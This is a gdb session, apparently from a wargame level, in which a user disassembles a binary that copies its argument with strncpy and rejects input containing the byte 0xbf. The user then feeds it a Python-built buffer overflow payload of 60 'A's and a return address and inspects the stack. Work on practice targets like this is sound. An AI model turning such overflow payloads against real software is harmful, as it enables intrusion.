1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
| level12@blowfish:/tmp/by$ gdb level12
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <main+0>: push %ebp
0x0804844c <main+1>: mov %esp,%ebp
0x0804844e <main+3>: sub $0x8,%esp
0x08048451 <main+6>: and $0xfffffff0,%esp
0x08048454 <main+9>: mov $0x0,%eax
0x08048459 <main+14>: sub %eax,%esp
0x0804845b <main+16>: cmpl $0x2,0x8(%ebp)
0x0804845f <main+20>: jg 0x804846b <main+32>
0x08048461 <main+22>: mov 0x10(%ebp),%eax
0x08048464 <main+25>: cmpl $0x0,(%eax)
0x08048467 <main+28>: jne 0x804846b <main+32>
0x08048469 <main+30>: jmp 0x8048483 <main+56>
0x0804846b <main+32>: movl $0x80485e4,(%esp)
0x08048472 <main+39>: call 0x8048330 <printf@plt>
0x08048477 <main+44>: movl $0x1,(%esp)
0x0804847e <main+51>: call 0x8048340 <exit@plt>
0x08048483 <main+56>: mov 0xc(%ebp),%eax
0x08048486 <main+59>: add $0x4,%eax
0x08048489 <main+62>: movl $0xbf,0x4(%esp)
0x08048491 <main+70>: mov (%eax),%eax
0x08048493 <main+72>: mov %eax,(%esp)
0x08048496 <main+75>: call 0x8048310 <strchr@plt>
0x0804849b <main+80>: test %eax,%eax
0x0804849d <main+82>: je 0x80484b7 <main+108>
0x0804849f <main+84>: movl $0x80485f4,(%esp)
0x080484a6 <main+91>: call 0x8048330 <printf@plt>
0x080484ab <main+96>: movl $0x1,(%esp)
0x080484b2 <main+103>: call 0x8048340 <exit@plt>
0x080484b7 <main+108>: mov 0xc(%ebp),%eax
0x080484ba <main+111>: add $0x4,%eax
0x080484bd <main+114>: mov (%eax),%eax
0x080484bf <main+116>: mov %eax,(%esp)
0x080484c2 <main+119>: call 0x8048424 <func>
0x080484c7 <main+124>: mov $0x0,%eax
---Type <return> to continue, or q <return> to quit---
0x080484cc <main+129>: leave
0x080484cd <main+130>: ret
End of assembler dump.
(gdb) b *main+16
Breakpoint 1 at 0x804845b
(gdb) disassemble func
Dump of assembler code for function func:
0x08048424 <func+0>: push %ebp
0x08048425 <func+1>: mov %esp,%ebp
0x08048427 <func+3>: sub $0x48,%esp
0x0804842a <func+6>: movl $0x40,0x8(%esp)
0x08048432 <func+14>: mov 0x8(%ebp),%eax
0x08048435 <func+17>: mov %eax,0x4(%esp)
0x08048439 <func+21>: lea -0x38(%ebp),%eax
0x0804843c <func+24>: mov %eax,(%esp)
0x0804843f <func+27>: call 0x8048350 <strncpy@plt>
0x08048444 <func+32>: mov $0x0,%eax
0x08048449 <func+37>: leave
0x0804844a <func+38>: ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 2 at 0x804844a
(gdb) info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804845b <main+16>
2 breakpoint keep y 0x0804844a <func+38>
(gdb) r `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`
Starting program: /tmp/by/level12 `python -c "print 'A'*60 + '\xc7\x84\x04\x08'"`
Breakpoint 1, 0x0804845b in main ()
(gdb) jump *0x8048483
Continuing at 0x8048483.
Breakpoint 2, 0x0804844a in func ()
(gdb) x/32wx $esp
0xbfffd84c: 0x080484c7 0xbfffd9e9 0x000000bf 0xbfffd8b8
0xbfffd85c: 0x00126455 0x00000002 0xbfffd8e4 0xbfffd8f0
0xbfffd86c: 0x00e14088 0x00000001 0x00000001 0x00000000
0xbfffd87c: 0x08048261 0x00249ff4 0x080484d0 0x08048360
0xbfffd88c: 0xbfffd8b8 0xebb0c081 0x30c835fe 0x00000000
0xbfffd89c: 0x00000000 0x00000000 0x008e12e0 0x0012637d
0xbfffd8ac: 0x008e8ff4 0x00000002 0x08048360 0x00000000
0xbfffd8bc: 0x08048381 0x0804844b 0x00000002 0xbfffd8e4
(gdb) x/32wx 0xbfffd9e9
0xbfffd9e9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffd9f9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffda09: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffda19: 0x41414141 0x41414141 0x41414141 0x080484c7
0xbfffda29: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162
0xbfffda39: 0x52455400 0x74783d4d 0x006d7265 0x5f485353
0xbfffda49: 0x45494c43 0x353d544e 0x32322e39 0x3134312e
0xbfffda59: 0x3533322e 0x31343420 0x32203931 0x53530032
(gdb)
|